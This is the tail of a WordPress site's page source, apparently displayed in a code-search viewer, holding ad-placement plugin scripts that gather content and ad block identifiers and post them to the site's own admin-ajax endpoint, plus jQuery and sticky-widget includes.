2385            xhttp.onreadystatechange = function(redata) {
2386                if (this.readyState == 4 && this.status == 200) {
2387                    console.log('content gather succeed');
2388                } else {
2389                    console.log('content gather gone wrong');
2390                }
2391            };
2392            xhttp.open("POST", rb_ajaxurl, true);
2393            xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
2394            xhttp.send(sendData);
2395        }
2396    } catch (er) {
2397        console.log('content gather error: '+er+';');
2398    }
2399}
2400
2401window.gatherContentBlock = function() {
2402    let cPointer = null,
2403        cPointerParent = null,
2404        cPointerParentString = null,
2405        classWords = ['content','entry','post','wrap','description','taxonomy'],
2406        classChoosed = false;
2407
2408    cPointer =  document.querySelector('#content_pointer_id');
2409    if (cPointer) {
2410        if (window.jsInputerLaunch!==15) {
2411            return false;
2412        }
2413        cPointerParent = cPointer.parentElement;
2414        if (cPointerParent) {
2415            if (cPointerParent.id) {
2416                cPointerParentString = '#'+cPointerParent.id;
2417            } else {
2418                if (cPointerParent.classList.length > 0) {
2419                    cPointerParentString = '.'+cPointerParent.classList[0];
2420                    for (let j = 0; j < classWords.length; j++) {
2421                        for (let i = 0; i < cPointerParent.classList.length; i++) {
2422                            if (cPointerParent.classList[i].includes(classWords[j])) {
2423                                cPointerParentString = '.'+cPointerParent.classList[i];
2424                                classChoosed = true;
2425                                break;
2426                            }
2427                        }
2428                        if (classChoosed===true) {
2429                            break;
2430                        }
2431                    }
2432                }
2433            }
2434            if (cPointerParentString) {
2435                console.log('content gather content block detected');
2436                /* cPointerParentString = JSON.stringify(cPointerParentString); */
2437                saveContentBlock(cPointerParentString);
2438            }
2439        }
2440    } else {
2441        console.log('content gather delayed');
2442        setTimeout(function () {
2443            gatherContentBlock();
2444        }, 500);
2445    }
2446};
2447
2448window.removeMarginClass = function(blockObject) {
2449    if (blockObject && typeof window.jsInputerLaunch !== 'undefined' && [15, 10].includes(window.jsInputerLaunch)) {
2450        let binderName,
2451            neededElement,
2452            currentDirection,
2453            seekerIterationCount,
2454            currentSubling;
2455
2456        binderName = blockObject.dataset.rbinder;
2457        if (binderName) {
2458            seekerIterationCount = 0;
2459            currentDirection = 'before';
2460            do {
2461                seekerIterationCount++;
2462                currentSubling = blockObject.nextElementSibling;
2463                if (currentSubling&&currentSubling.classList.contains('rbinder-'+binderName)) {
2464                    neededElement = currentSubling;
2465                }
2466            } while (currentSubling&&!neededElement&&seekerIterationCount < 5);
2467
2468            if (!neededElement) {
2469                seekerIterationCount = 0;
2470                currentDirection = 'after';
2471                do {
2472                    seekerIterationCount++;
2473                    currentSubling = blockObject.previousElementSibling;
2474                    if (currentSubling&&currentSubling.classList.contains('rbinder-'+binderName)) {
2475                        neededElement = currentSubling;
2476                    }
2477                } while (currentSubling&&!neededElement&&seekerIterationCount < 5);
2478            }
2479            if (neededElement) {
2480                if (currentDirection === 'before') {
2481                    neededElement.classList.remove('rfwp_removedMarginTop');
2482                } else {
2483                    neededElement.classList.remove('rfwp_removedMarginBottom');
2484                }
2485            }
2486        }
2487    }
2488
2489    return false;
2490};
2491
2492function elementBinderNameGenerator() {
2493    let binderName = '',
2494        checkedElements,
2495        passed = false;
2496
2497    while (passed===false) {
2498        binderName = Math.floor(Math.random()*100000);
2499        checkedElements = document.querySelectorAll('[data-rbinder="'+binderName+'"]');
2500        if (checkedElements.length < 1) {
2501            passed = true;
2502        }
2503    }
2504
2505    return binderName;
2506}
2507</script>
vendor: 1 bytes, line 2507
2507
2508<script>
2509if (typeof rb_ajaxurl==='undefined') {var rb_ajaxurl = 'https://etopolezno.com/wp-admin/admin-ajax.php';}
2510if (typeof cache_devices==='undefined') {var cache_devices = false;}
2511var nReadyBlock = false;
2512var fetchedCounter = 0;
2513
2514function sendReadyBlocksNew(blocks) {
2515    if (!cache_devices) {
2516        let xhttp = new XMLHttpRequest();
2517        let sendData = 'action=saveAdBlocks&type=blocksGethering&data='+blocks;
2518        xhttp.onreadystatechange = function(redata) {
2519            if (this.readyState == 4 && this.status == 200) {
2520                console.log('cache succeed');
2521            }
2522        };
2523        xhttp.open("POST", rb_ajaxurl, true);
2524        xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
2525        xhttp.send(sendData);
2526    }
2527}
2528
2529function gatherReadyBlocks() {
2530    if (block_classes && block_classes.length) {
2531        let blocks = {};
2532        let counter1 = 0;
2533        let gatheredBlocks = document.querySelectorAll('.' + block_classes.join(', .'));
2534        let checker = 0;
2535        let adContent = '';
2536        let curState = '';
2537        let thisData = [];
2538        let sumData = [];
2539        let newBlocks = '';
2540        let thisDataString = '';
2541
2542        if (gatheredBlocks.length > 0) {
2543            blocks.data = {};
2544
2545            for (let i = 0; i < gatheredBlocks.length; i++) {
2546                curState = gatheredBlocks[i]['dataset']["state"].toLowerCase();
2547                checker = 0;
2548                if (curState&&gatheredBlocks[i]['innerHTML'].length > 0&&gatheredBlocks[i]['dataset']['aid'] > 0&&curState!='no-block') {
2549                    if (gatheredBlocks[i]['innerHTML'].length > 0) {
2550                        checker = 1;
2551                    }
2552                    if (checker==1) {
2553                        blocks.data[counter1] = {id:gatheredBlocks[i]['dataset']['id'],code:gatheredBlocks[i]['dataset']['aid']};
2554                        counter1++;
2555                    }
2556                }
2557            }
2558
2559            blocks = JSON.stringify(blocks);
2560            sendReadyBlocksNew(blocks);
2561        }
2562    } else nReadyBlock = true;
2563}
2564
2565function timeBeforeGathering() {
2566    if (block_classes && block_classes.length > 0)
2567    {
2568        let gatheredBlocks = document.querySelectorAll('.' + block_classes.join(', .'));
2569        let okStates = ['done','refresh-wait','no-block','fetched'];
2570        let curState = '';
2571
2572        for (let i = 0; i < gatheredBlocks.length; i++) {
2573            if (!gatheredBlocks[i]['dataset']["state"]) {
2574                nReadyBlock = true;
2575                break;
2576            } else {
2577                curState = gatheredBlocks[i]['dataset']["state"].toLowerCase();
2578                if (!okStates.includes(curState)) {
2579                    nReadyBlock = true;
2580                    break;
2581                } else if (curState=='fetched'&&fetchedCounter < 3) {
2582                    fetchedCounter++;
2583                    nReadyBlock = true;
2584                    break;
2585                }
2586            }
2587        }
2588    }
2589    else nReadyBlock = true;
2590
2591    if (nReadyBlock == true) {
2592        nReadyBlock = false;
2593        setTimeout(timeBeforeGathering,2000);
2594    } else {
2595        gatherReadyBlocks();
2596    }
2597}
2598
2599function launchTimeBeforeGathering() {
2600    if (document.readyState === "complete" || (document.readyState !== "loading" && !document.documentElement.doScroll)) {
2601        timeBeforeGathering();
2602    } else {
2603        setTimeout(launchTimeBeforeGathering,100);
2604    }
2605}
2606launchTimeBeforeGathering();
2607
2608</script>
vendor: 1 bytes, line 2608
2608
2609<script type='text/javascript' src='https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js' id='jquery-core-js'></script>
vendor: 1 bytes, line 2609
2609
2610<script type='text/javascript' id='q2w3_fixed_widget-js-extra'>
2611/* <![CDATA[ */
2612var q2w3_sidebar_options = [{"sidebar":"colormag_right_sidebar","use_sticky_position":false,"margin_top":0,"margin_bottom":0,"stop_elements_selectors":"","screen_max_width":0,"screen_max_height":0,"widgets":["#custom_html-7"]}];
2613/* ]]> */
2614</script>
vendor: 1 bytes, line 2614
2614
2615<script type='text/javascript' src='https://etopolezno.com/wp-content/plugins/q2w3-fixed-widget/js/frontend.min.js?ver=6.2.3' id='q2w3_fixed_widget-js'></script>
2615
2616</body>
2617</html>

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.